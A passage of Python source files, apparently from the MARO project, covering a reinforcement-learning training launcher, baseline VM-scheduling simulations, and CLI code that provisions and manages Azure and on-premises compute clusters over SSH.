stopping. perf_threshold (float): The mean of the ``last_k`` performance metric values must be above this value to trigger early stopping. perf_stability_threshold (float): The maximum one-step change over the ``last_k`` performance metrics must be below this value to trigger early stopping. """ def __init__(self, warmup_ep: int, last_k: int, perf_threshold: float, perf_stability_threshold: float): self._warmup_ep = warmup_ep self._last_k = last_k self._perf_threshold = perf_threshold self._perf_stability_threshold = perf_stability_threshold def get_metric(record): return 1 - record["container_shortage"] / record["order_requirements"] self._metric_func = get_metric def __call__(self, perf_history) -> bool: if len(perf_history) < max(self._last_k, self._warmup_ep): return False metric_series = list(map(self._metric_func, perf_history[-self._last_k:])) max_delta = max( abs(metric_series[i] - metric_series[i - 1]) / metric_series[i - 1] for i in range(1, self._last_k) ) print(f"mean_metric: {mean(metric_series)}, max_delta: {max_delta}") return mean(metric_series) > self._perf_threshold and max_delta < self._perf_stability_threshold def launch(config): # First determine the input dimension and add it to the config. config = convert_dottable(config) # Step 1: initialize a CIM environment for using a toy dataset. env = Env(config.env.scenario, config.env.topology, durations=config.env.durations) agent_id_list = [str(agent_id) for agent_id in env.agent_idx_list] # Step 2: create state, action and experience shapers. We also need to create an explorer here due to the # greedy nature of the DQN algorithm. state_shaper = CIMStateShaper(**config.env.state_shaping) action_shaper = CIMActionShaper(action_space=list(np.linspace(-1.0, 1.0, config.agents.num_actions))) experience_shaper = TruncatedExperienceShaper(**config.env.experience_shaping) # Step 3: create an agent manager. config["agents"]["input_dim"] = state_shaper.dim agent_manager = POAgentManager( name="cim_learner", mode=AgentManagerMode.TRAIN_INFERENCE, agent_dict=create_po_agents(agent_id_list, config.agents), state_shaper=state_shaper, action_shaper=action_shaper, experience_shaper=experience_shaper, ) # Step 4: Create an actor and a learner to start the training process. scheduler = Scheduler( config.main_loop.max_episode, early_stopping_checker=EarlyStoppingChecker(**config.main_loop.early_stopping) ) actor = SimpleActor(env, agent_manager) learner = SimpleLearner( agent_manager, actor, scheduler, logger=Logger("cim_learner", format_=LogFormat.simple, auto_timestamp=False) ) learner.learn() learner.test() learner.dump_models(os.path.join(os.getcwd(), "models")) if __name__ == "__main__": from components.config import config launch(config) --- FILE SEPARATOR --- import io import os import random import timeit import yaml from maro.simulator import Env from maro.simulator.scenarios.vm_scheduling import AllocateAction, DecisionPayload, PostponeAction from maro.utils import convert_dottable CONFIG_PATH = os.path.join(os.path.split(os.path.realpath(__file__))[0], "config.yml") with io.open(CONFIG_PATH, "r") as in_file: raw_config = yaml.safe_load(in_file) config = convert_dottable(raw_config) if __name__ == "__main__": start_time = timeit.default_timer() env = Env( scenario=config.env.scenario, topology=config.env.topology, start_tick=config.env.start_tick, durations=config.env.durations, snapshot_resolution=config.env.resolution ) if config.env.seed is not None: env.set_seed(config.env.seed) random.seed(config.env.seed) metrics: object = None decision_event: DecisionPayload = None is_done: bool = False action: AllocateAction = None metrics, decision_event, is_done = env.step(None) while not is_done: valid_pm_num: int = len(decision_event.valid_pms) if valid_pm_num <= 0: # No valid PM now, postpone. action: PostponeAction = PostponeAction( vm_id=decision_event.vm_id, postpone_step=1 ) else: # Get the capacity and allocated cores from snapshot. valid_pm_info = env.snapshot_list["pms"][ env.frame_index:decision_event.valid_pms:["cpu_cores_capacity", "cpu_cores_allocated"] ].reshape(-1, 2) # Calculate to get the remaining cpu cores. cpu_cores_remaining = valid_pm_info[:, 0] - valid_pm_info[:, 1] # Choose the one with the closet remaining CPU. chosen_idx = 0 minimum_remaining_cpu_cores = cpu_cores_remaining[0] for i, remaining in enumerate(cpu_cores_remaining): if remaining < minimum_remaining_cpu_cores: chosen_idx = i minimum_remaining_cpu_cores = remaining # Take action to allocate on the closet pm. action: AllocateAction = AllocateAction( vm_id=decision_event.vm_id, pm_id=decision_event.valid_pms[chosen_idx] ) metrics, decision_event, is_done = env.step(action) end_time = timeit.default_timer() print( f"[Best fit] Topology: {config.env.topology}. Total ticks: {config.env.durations}." f" Start tick: {config.env.start_tick}." ) print(f"[Timer] {end_time - start_time:.2f} seconds to finish the simulation.") print(metrics) --- FILE SEPARATOR --- import io import os import random import timeit import yaml from maro.simulator import Env from maro.simulator.scenarios.vm_scheduling import AllocateAction, DecisionPayload, PostponeAction from maro.utils import convert_dottable CONFIG_PATH = os.path.join(os.path.split(os.path.realpath(__file__))[0], "config.yml") with io.open(CONFIG_PATH, "r") as in_file: raw_config = yaml.safe_load(in_file) config = convert_dottable(raw_config) if __name__ == "__main__": start_time = timeit.default_timer() env = Env( scenario=config.env.scenario, topology=config.env.topology, start_tick=config.env.start_tick, durations=config.env.durations, snapshot_resolution=config.env.resolution ) if config.env.seed is not None: env.set_seed(config.env.seed) random.seed(config.env.seed) metrics: object = None decision_event: DecisionPayload = None is_done: bool = False action: AllocateAction = None metrics, decision_event, is_done = env.step(None) while not is_done: valid_pm_num: int = len(decision_event.valid_pms) if valid_pm_num <= 0: # No valid PM now, postpone. action: PostponeAction = PostponeAction( vm_id=decision_event.vm_id, postpone_step=1 ) else: # Randomly choose an available PM. random_idx = random.randint(0, valid_pm_num - 1) pm_id = decision_event.valid_pms[random_idx] action: AllocateAction = AllocateAction( vm_id=decision_event.vm_id, pm_id=pm_id ) metrics, decision_event, is_done = env.step(action) end_time = timeit.default_timer() print( f"[Random] Topology: {config.env.topology}. Total ticks: {config.env.durations}.", f" Start tick: {config.env.start_tick}" ) print(f"[Timer] {end_time - start_time:.2f} seconds to finish the simulation.") print(metrics) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import yaml from maro.cli.grass.executors.grass_azure_executor import GrassAzureExecutor from maro.cli.grass.executors.grass_on_premises_executor import GrassOnPremisesExecutor from maro.utils.exception.cli_exception import BadRequestError, FileOperationError, InvalidDeploymentTemplateError def create(deployment_path: str, **kwargs): try: with open(deployment_path, "r") as fr: create_deployment = yaml.safe_load(fr) if create_deployment["mode"] == "grass/azure": GrassAzureExecutor.build_cluster_details(create_deployment=create_deployment) executor = GrassAzureExecutor(cluster_name=create_deployment["name"]) executor.create() elif create_deployment["mode"] == "grass/on-premises": GrassOnPremisesExecutor.build_cluster_details(create_deployment=create_deployment) executor = GrassOnPremisesExecutor(cluster_name=create_deployment["name"]) executor.create() else: raise BadRequestError(f"Unsupported command in mode '{create_deployment['mode']}'.") except KeyError as e: raise InvalidDeploymentTemplateError(f"Missing key '{e.args[0]}'.") except FileNotFoundError: raise FileOperationError("Invalid template file path.") --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from maro.cli.grass.executors.grass_azure_executor import GrassAzureExecutor from maro.cli.utils.checkers import check_details_validity from maro.cli.utils.details import load_cluster_details from maro.cli.utils.lock import lock from maro.utils.exception.cli_exception import BadRequestError @check_details_validity @lock def push_data(cluster_name: str, local_path: str, remote_path: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] in ["grass/azure", "grass/on-premises"]: executor = GrassAzureExecutor(cluster_name=cluster_name) executor.push_data(local_path=local_path, remote_path=remote_path) else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") @check_details_validity @lock def pull_data(cluster_name: str, local_path: str, remote_path: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] in ["grass/azure", "grass/on-premises"]: executor = GrassAzureExecutor(cluster_name=cluster_name) executor.pull_data(local_path=local_path, remote_path=remote_path) else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from maro.cli.grass.executors.grass_azure_executor import GrassAzureExecutor from maro.cli.grass.executors.grass_on_premises_executor import GrassOnPremisesExecutor from maro.cli.utils.checkers import check_details_validity from maro.cli.utils.details import load_cluster_details from maro.cli.utils.lock import lock from maro.utils.exception.cli_exception import BadRequestError @check_details_validity @lock def delete(cluster_name: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] == "grass/azure": executor = GrassAzureExecutor(cluster_name=cluster_name) executor.delete() elif cluster_details["mode"] == "grass/on-premises": executor = GrassOnPremisesExecutor(cluster_name=cluster_name) executor.delete() else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import collections import json import os import secrets import shutil import string import threading import time from copy import deepcopy from multiprocessing.pool import ThreadPool import yaml from maro.cli.grass.executors.grass_executor import GrassExecutor from maro.cli.grass.utils.copy import copy_and_rename, copy_files_from_node, copy_files_to_node from maro.cli.grass.utils.hash import get_checksum from maro.cli.utils.details import ( load_cluster_details, load_job_details, load_schedule_details, save_cluster_details, save_job_details, save_schedule_details ) from maro.cli.utils.executors.azure_executor import AzureExecutor from maro.cli.utils.naming import ( generate_cluster_id, generate_component_id, generate_job_id, generate_node_name, get_valid_file_name ) from maro.cli.utils.params import GlobalParams, GlobalPaths from maro.cli.utils.subprocess import SubProcess from maro.cli.utils.validation import validate_and_fill_dict from maro.utils.exception.cli_exception import BadRequestError, CommandExecutionError, FileOperationError from maro.utils.logger import CliLogger logger = CliLogger(name=__name__) class GrassAzureExecutor: def __init__(self, cluster_name: str): self.cluster_name = cluster_name self.cluster_details = load_cluster_details(cluster_name=cluster_name) self.grass_executor = GrassExecutor(cluster_details=self.cluster_details) # maro grass create @staticmethod def build_cluster_details(create_deployment: dict): # Standardize create deployment GrassAzureExecutor._standardize_create_deployment(create_deployment=create_deployment) # Get cluster name and save details cluster_name = create_deployment["name"] if os.path.isdir(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{cluster_name}"): raise BadRequestError(f"Cluster '{cluster_name}' is exist.") os.makedirs(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{cluster_name}") save_cluster_details( cluster_name=cluster_name, cluster_details=create_deployment ) @staticmethod def _standardize_create_deployment(create_deployment: dict): samba_password = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(20)) optional_key_to_value = { "root['master']['redis']": {"port": GlobalParams.DEFAULT_REDIS_PORT}, "root['master']['redis']['port']": GlobalParams.DEFAULT_REDIS_PORT, "root['master']['fluentd']": {"port": GlobalParams.DEFAULT_FLUENTD_PORT}, "root['master']['fluentd']['port']": GlobalParams.DEFAULT_FLUENTD_PORT, "root['master']['samba']": {"password": samba_password}, "root['master']['samba']['password']": samba_password, "root['connection']": {"ssh": {"port": GlobalParams.DEFAULT_SSH_PORT}}, "root['connection']['ssh']": {"port": GlobalParams.DEFAULT_SSH_PORT}, "root['connection']['ssh']['port']": GlobalParams.DEFAULT_SSH_PORT } with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/grass_azure_create.yml") as fr: create_deployment_template = yaml.safe_load(fr) validate_and_fill_dict( template_dict=create_deployment_template, actual_dict=create_deployment, optional_key_to_value=optional_key_to_value ) def create(self): logger.info("Creating cluster") # Start creating try: self._set_cluster_id() self._create_resource_group() self._create_vnet() # Simultaneously capture image and init master build_node_image_thread = threading.Thread(target=self._build_node_image, args=()) build_node_image_thread.start() create_and_init_master_thread = threading.Thread(target=self._create_and_init_master, args=()) create_and_init_master_thread.start() build_node_image_thread.join() create_and_init_master_thread.join() except Exception as e: # If failed, remove details folder, then raise shutil.rmtree(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}") raise e logger.info_green(f"Cluster {self.cluster_name} is created") def _set_cluster_id(self): # Set cluster id self.cluster_details["id"] = generate_cluster_id() # Save details save_cluster_details( cluster_name=self.cluster_name, cluster_details=self.cluster_details ) def _create_resource_group(self): # Load and reload details subscription = self.cluster_details["cloud"]["subscription"] resource_group = self.cluster_details["cloud"]["resource_group"] location = self.cluster_details["cloud"]["location"] # Check if Azure CLI is installed version_details = AzureExecutor.get_version() logger.info_green(f"Your Azure CLI version: {version_details['azure-cli']}") # Set subscription id AzureExecutor.set_subscription(subscription=subscription) logger.info_green(f"Set subscription to: {subscription}") # Check and create resource group resource_group_details = AzureExecutor.get_resource_group(resource_group=resource_group) if resource_group_details is not None: logger.warning_yellow(f"Azure resource group {resource_group} already exists") else: AzureExecutor.create_resource_group( resource_group=resource_group, location=location ) logger.info_green(f"Resource group: {resource_group} is created") def _create_vnet(self): logger.info("Creating vnet") # Load details resource_group = self.cluster_details["cloud"]["resource_group"] # Create ARM parameters and start deployment abs_template_file_path = f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_vnet/template.json" abs_parameters_file_path = ( f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_vnet/parameters.json" ) ArmTemplateParameterBuilder.create_vnet( cluster_details=self.cluster_details, export_path=abs_parameters_file_path ) AzureExecutor.start_deployment( resource_group=resource_group, deployment_name="vnet", template_file_path=abs_template_file_path, parameters_file_path=abs_parameters_file_path ) logger.info_green("Vnet is created") def _build_node_image(self): logger.info("Building MARO Node image") # Load details resource_name = "build-node-image" cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] admin_username = self.cluster_details["user"]["admin_username"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] image_name = f"{cluster_id}-node-image" vm_name = f"{cluster_id}-{resource_name}-vm" # Create ARM parameters and start deployment template_file_path = f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_build_node_image_vm/template.json" parameters_file_path = ( f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_build_node_image_vm/parameters.json" ) ArmTemplateParameterBuilder.create_build_node_image_vm( cluster_details=self.cluster_details, node_size="Standard_D4_v3", export_path=parameters_file_path ) AzureExecutor.start_deployment( resource_group=resource_group, deployment_name=resource_name, template_file_path=template_file_path, parameters_file_path=parameters_file_path ) # Gracefully wait time.sleep(10) # Get IP addresses ip_addresses = AzureExecutor.list_ip_addresses( resource_group=resource_group, vm_name=vm_name ) public_ip_address = ip_addresses[0]["virtualMachine"]["network"]["publicIpAddresses"][0]["ipAddress"] # Make sure capture-node-image-vm is able to connect self.grass_executor.retry_connection_and_set_ssh_port(node_ip_address=public_ip_address) # Run init image script self._sync_mkdir(path=GlobalPaths.MARO_LOCAL_TMP, node_ip_address=public_ip_address) copy_files_to_node( local_path=f"{GlobalPaths.MARO_GRASS_LIB}/scripts/init_build_node_image_vm.py", remote_dir="~/", admin_username=admin_username, node_ip_address=public_ip_address, ssh_port=ssh_port ) self.grass_executor.remote_init_build_node_image_vm(vm_ip_address=public_ip_address) # Extract image AzureExecutor.deallocate_vm(resource_group=resource_group, vm_name=vm_name) AzureExecutor.generalize_vm(resource_group=resource_group, vm_name=vm_name) AzureExecutor.create_image_from_vm(resource_group=resource_group, image_name=image_name, vm_name=vm_name) # Delete resources self._delete_resources(resource_name=resource_name) logger.info_green("MARO Node Image is built") def _create_and_init_master(self): logger.info("Creating MARO Master") self._create_master() self._init_master() logger.info_green("MARO Master is created") def _create_master(self): logger.info("Creating Master VM") # Load details master_details = self.cluster_details["master"] cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] admin_username = self.cluster_details["user"]["admin_username"] node_size = self.cluster_details["master"]["node_size"] # Create ARM parameters and start deployment template_file_path = f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_master/template.json" parameters_file_path = ( f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_master/parameters.json" ) ArmTemplateParameterBuilder.create_master( cluster_details=self.cluster_details, node_size=node_size, export_path=parameters_file_path ) AzureExecutor.start_deployment( resource_group=resource_group, deployment_name="master", template_file_path=template_file_path, parameters_file_path=parameters_file_path ) # Get master IP addresses ip_addresses = AzureExecutor.list_ip_addresses( resource_group=resource_group, vm_name=f"{cluster_id}-master-vm" ) public_ip_address = ip_addresses[0]["virtualMachine"]["network"]["publicIpAddresses"][0]["ipAddress"] private_ip_address = ip_addresses[0]["virtualMachine"]["network"]["privateIpAddresses"][0] hostname = f"{cluster_id}-master-vm" master_details["public_ip_address"] = public_ip_address master_details["private_ip_address"] = private_ip_address master_details["hostname"] = hostname master_details["resource_name"] = f"{cluster_id}-master-vm" logger.info_green(f"You can login to your master node with: ssh {admin_username}@{public_ip_address}") # Save details save_cluster_details( cluster_name=self.cluster_name, cluster_details=self.cluster_details, sync=False ) logger.info_green("Master VM is created") def _init_master(self): logger.info("Initializing Master VM") # Load details master_details = self.cluster_details["master"] admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] # Make sure master is able to connect self.grass_executor.retry_connection_and_set_ssh_port(node_ip_address=master_public_ip_address) # Create folders self._sync_mkdir(path=GlobalPaths.MARO_GRASS_LIB, node_ip_address=master_public_ip_address) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}", node_ip_address=master_public_ip_address ) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/data", node_ip_address=master_public_ip_address ) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/images", node_ip_address=master_public_ip_address ) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs", node_ip_address=master_public_ip_address ) self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/schedules", node_ip_address=master_public_ip_address ) self._sync_mkdir(path=GlobalPaths.MARO_LOCAL_TMP, node_ip_address=master_public_ip_address) # Copy required files copy_files_to_node( local_path=GlobalPaths.MARO_GRASS_LIB, remote_dir=GlobalPaths.MARO_LIB, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) copy_files_to_node( local_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}", remote_dir=GlobalPaths.MARO_CLUSTERS, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) # Get public key public_key = self.grass_executor.remote_get_public_key(node_ip_address=master_public_ip_address) # Remote init master self.grass_executor.remote_init_master() # Load master agent service self.grass_executor.remote_load_master_agent_service() # Save details master_details["public_key"] = public_key master_details["image_files"] = {} save_cluster_details( cluster_name=self.cluster_name, cluster_details=self.cluster_details ) self.grass_executor.remote_set_master_details(master_details=master_details) logger.info_green("Master VM is initialized") # maro grass delete def delete(self): # Load details cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] logger.info(f"Deleting cluster {self.cluster_name}") # Get resource list resource_list = AzureExecutor.list_resources(resource_group=resource_group) # Filter resources deletable_ids = [] for resource_info in resource_list: if resource_info["name"].startswith(cluster_id): deletable_ids.append(resource_info["id"]) # Delete resources if len(deletable_ids) > 0: AzureExecutor.delete_resources(resources=deletable_ids) # Delete cluster folder shutil.rmtree(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}") logger.info_green(f"Cluster {self.cluster_name} is deleted") # maro grass node def scale_node(self, replicas: int, node_size: str): # Load details nodes_details = self.grass_executor.remote_get_nodes_details() # Init node_size_to_count node_size_to_count = collections.defaultdict(lambda: 0) for node_name, node_details in nodes_details.items(): node_size_to_count[node_details["node_size"]] += 1 # Get node_size_to_spec node_size_to_spec = self._get_node_size_to_spec() if node_size not in node_size_to_spec: raise BadRequestError(f"Invalid node_size '{node_size}'.") # Scale nodes if node_size_to_count[node_size] > replicas: self._delete_nodes( num=node_size_to_count[node_size] - replicas, node_size=node_size ) elif node_size_to_count[node_size] < replicas: self._create_nodes( num=replicas - node_size_to_count[node_size], node_size=node_size, node_size_to_spec=node_size_to_spec ) else: logger.warning_yellow("Replica is match, no create or delete") def _create_nodes(self, num: int, node_size: str, node_size_to_spec: dict) -> None: logger.info(f"Scaling up {num}") # Parallel create with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._create_node, [[node_size, node_size_to_spec]] * num ) def _create_node(self, node_size: str, node_size_to_spec: dict): # Generate node name node_name = generate_node_name() logger.info(message=f"Creating node {node_name}") # Create node self._create_vm( node_name=node_name, node_size=node_size, node_size_to_spec=node_size_to_spec ) # Init node self._init_node( node_name=node_name ) logger.info_green(message=f"Node {node_name} is created") def _delete_nodes(self, num: int, node_size: str) -> None: # Load details nodes_details = self.grass_executor.remote_get_nodes_details() # Get deletable_nodes and check, TODO: consider to add -f deletable_nodes = [] for node_name, node_details in nodes_details.items(): if node_details["node_size"] == node_size and len(node_details["containers"]) == 0: deletable_nodes.append(node_name) if len(deletable_nodes) >= num: logger.info(f"Scaling down {num}") # Parallel delete params = [[deletable_node] for deletable_node in deletable_nodes[:num]] with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._delete_node, params ) else: logger.warning_yellow( "Unable to scale down." f" Only {len(deletable_nodes)} are deletable, but need to delete {num} to meet the replica" ) def _create_vm(self, node_name: str, node_size: str, node_size_to_spec: dict): logger.info(message=f"Creating VM {node_name}") # Load details location = self.cluster_details["cloud"]["location"] cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] image_name = f"{cluster_id}-node-image" image_resource_id = AzureExecutor.get_image_resource_id(resource_group=resource_group, image_name=image_name) # Create ARM parameters and start deployment template_file_path = f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_node/template.json" parameters_file_path = ( f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_{node_name}/parameters.json" ) ArmTemplateParameterBuilder.create_node( node_name=node_name, cluster_details=self.cluster_details, node_size=node_size, image_resource_id=image_resource_id, export_path=parameters_file_path ) AzureExecutor.start_deployment( resource_group=resource_group, deployment_name=node_name, template_file_path=template_file_path, parameters_file_path=parameters_file_path ) # Get node IP addresses ip_addresses = AzureExecutor.list_ip_addresses( resource_group=resource_group, vm_name=f"{cluster_id}-{node_name}-vm" ) # Get sku and check gpu nums gpu_nums = 0 node_size_sku = AzureExecutor.get_sku( vm_size=node_size, location=location) if node_size_sku is not None: for capability in node_size_sku["capabilities"]: if capability["name"] == "GPUs": gpu_nums = int(capability["value"]) break # Save details node_details = { "name": node_name, "id": node_name, "public_ip_address": ip_addresses[0]["virtualMachine"]["network"]["publicIpAddresses"][0]["ipAddress"], "private_ip_address": ip_addresses[0]["virtualMachine"]["network"]["privateIpAddresses"][0], "node_size": node_size, "resource_name": f"{cluster_id}-{node_name}-vm", "hostname": f"{cluster_id}-{node_name}-vm", "resources": { "cpu": node_size_to_spec[node_size]["numberOfCores"], "memory": node_size_to_spec[node_size]["memoryInMb"], "gpu": gpu_nums }, "containers": {} } self.grass_executor.remote_set_node_details( node_name=node_name, node_details=node_details, ) logger.info_green(f"VM {node_name} is created") def _delete_node(self, node_name: str): logger.info(f"Deleting node {node_name}") # Load details resource_group = self.cluster_details["cloud"]["resource_group"] # Delete resources self._delete_resources(resource_name=node_name) # Delete azure deployment AzureExecutor.delete_deployment( resource_group=resource_group, deployment_name=node_name ) # Delete parameters_file shutil.rmtree(f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/azure/create_{node_name}") # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="delete" ) logger.info_green(f"Node {node_name} is deleted") def _init_node(self, node_name: str): logger.info(f"Initiating node {node_name}") # Load details admin_username = self.cluster_details["user"]["admin_username"] node_details = self.grass_executor.remote_get_node_details(node_name=node_name) node_public_ip_address = node_details["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] # Make sure the node is able to connect self.grass_executor.retry_connection_and_set_ssh_port(node_ip_address=node_public_ip_address) # Copy required files self._sync_mkdir(path=f"{GlobalPaths.MARO_LOCAL_TMP}", node_ip_address=node_public_ip_address) copy_files_to_node( local_path=f"{GlobalPaths.MARO_GRASS_LIB}/scripts/init_node.py", remote_dir="~/", admin_username=admin_username, node_ip_address=node_public_ip_address, ssh_port=ssh_port ) copy_files_to_node( local_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/details.yml", remote_dir="~/", admin_username=admin_username, node_ip_address=node_public_ip_address, ssh_port=ssh_port ) # Remote init node self.grass_executor.remote_init_node( node_name=node_name, node_ip_address=node_public_ip_address ) # Get public key public_key = self.grass_executor.remote_get_public_key(node_ip_address=node_public_ip_address) # Save details node_details["public_key"] = public_key self.grass_executor.remote_set_node_details( node_name=node_name, node_details=node_details ) # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="create" ) # Load images self.grass_executor.remote_load_images( node_name=node_name, parallels=GlobalParams.PARALLELS, node_ip_address=node_public_ip_address ) # Load node agent service self.grass_executor.remote_load_node_agent_service( node_name=node_name, node_ip_address=node_public_ip_address ) logger.info_green(f"Node {node_name} is initialized") def start_node(self, replicas: int, node_size: str): # Get nodes details nodes_details = self.grass_executor.remote_get_nodes_details() # Get startable nodes startable_nodes = [] for node_name, node_details in nodes_details.items(): if node_details["node_size"] == node_size and node_details["state"] == "Stopped": startable_nodes.append(node_name) # Check replicas if len(startable_nodes) < replicas: raise BadRequestError( f"No enough '{node_size}' nodes can be started (only {len(startable_nodes)} is startable)." ) # Parallel start params = [[startable_node] for startable_node in startable_nodes[:replicas]] with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._start_node, params ) def _start_node(self, node_name: str): logger.info(f"Starting node {node_name}") # Load details cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] node_details = self.grass_executor.remote_get_node_details(node_name=node_name) node_public_ip_address = node_details["public_ip_address"] # Start node AzureExecutor.start_vm( resource_group=resource_group, vm_name=f"{cluster_id}-{node_name}-vm" ) # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="start" ) # Make sure the node is able to connect self.grass_executor.retry_connection_and_set_ssh_port( node_ip_address=node_public_ip_address ) # Load images self.grass_executor.remote_load_images( node_name=node_name, parallels=GlobalParams.PARALLELS, node_ip_address=node_public_ip_address ) # Load node agent service self.grass_executor.remote_load_node_agent_service( node_name=node_name, node_ip_address=node_public_ip_address ) logger.info_green(f"Node {node_name} is started") def stop_node(self, replicas: int, node_size: str): # Get nodes details nodes_details = self.grass_executor.remote_get_nodes_details() # Get stoppable nodes stoppable_nodes = [] for node_name, node_details in nodes_details.items(): if ( node_details["node_size"] == node_size and node_details["state"] == "Running" and self._count_running_containers(node_details) == 0 ): stoppable_nodes.append(node_name) # Check replicas if len(stoppable_nodes) < replicas: raise BadRequestError( f"No more '{node_size}' nodes can be stopped, only {len(stoppable_nodes)} are stoppable." ) # Parallel stop params = [[stoppable_node] for stoppable_node in stoppable_nodes[:replicas]] with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._stop_node, params ) def _stop_node(self, node_name: str): logger.info(f"Stopping node {node_name}") # Load details cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] # Stop node AzureExecutor.stop_vm( resource_group=resource_group, vm_name=f"{cluster_id}-{node_name}-vm" ) # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="stop" ) logger.info_green(f"Node {node_name} is stopped") def _get_node_size_to_spec(self) -> dict: # Load details location = self.cluster_details["cloud"]["location"] # List available sizes for VMs specs = AzureExecutor.list_vm_sizes(location=location) # Get node_size_to_spec node_size_to_spec = {} for spec in specs: node_size_to_spec[spec["name"]] = spec return node_size_to_spec def list_node(self): # Get nodes details nodes_details = self.grass_executor.remote_get_nodes_details() # Print details logger.info( json.dumps( nodes_details, indent=4, sort_keys=True ) ) @staticmethod def _count_running_containers(node_details: dict): # Extract details containers_details = node_details["containers"] # Do counting count = 0 for container_details in containers_details: if container_details["Status"] == "running": count += 1 return count # maro grass image def push_image( self, image_name: str, image_path: str, remote_context_path: str, remote_image_name: str ): # Load details admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] # Get images dir images_dir = f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/images" # Push image if image_name: new_file_name = get_valid_file_name(image_name) abs_image_path = f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/images/{new_file_name}" self._save_image( image_name=image_name, export_path=abs_image_path ) if self._check_checksum_validity( local_file_path=abs_image_path, remote_file_path=os.path.join(images_dir, image_name) ): logger.info_green(f"The image file '{new_file_name}' already exists") return copy_files_to_node( local_path=abs_image_path, remote_dir=images_dir, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) self.grass_executor.remote_update_image_files_details() self._batch_load_images() logger.info_green(f"Image {image_name} is loaded") elif image_path: file_name = os.path.basename(image_path) new_file_name = get_valid_file_name(file_name) abs_image_path = f"{GlobalPaths.ABS_MARO_CLUSTERS}/{self.cluster_name}/images/{new_file_name}" copy_and_rename( source_path=abs_image_path, target_dir=image_path ) if self._check_checksum_validity( local_file_path=abs_image_path, remote_file_path=os.path.join(images_dir, new_file_name) ): logger.info_green(f"The image file '{new_file_name}' already exists") return copy_files_to_node( local_path=abs_image_path, remote_dir=images_dir, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) self.grass_executor.remote_update_image_files_details() self._batch_load_images() elif remote_context_path and remote_image_name: self.grass_executor.remote_build_image( remote_context_path=remote_context_path, remote_image_name=remote_image_name ) self._batch_load_images() else: raise BadRequestError("Invalid arguments.") @staticmethod def _save_image(image_name: str, export_path: str): # Save image to specific folder command = f"docker save '{image_name}' --output '{export_path}'" _ = SubProcess.run(command) def _batch_load_images(self): # Load details nodes_details = self.grass_executor.remote_get_nodes_details() # build params params = [] for node_name, node_details in nodes_details.items(): if node_details["state"] == "Running": params.append([ node_name, GlobalParams.PARALLELS, node_details["public_ip_address"] ]) # Parallel load image with ThreadPool(GlobalParams.PARALLELS) as pool: pool.starmap( self._load_image, params ) def 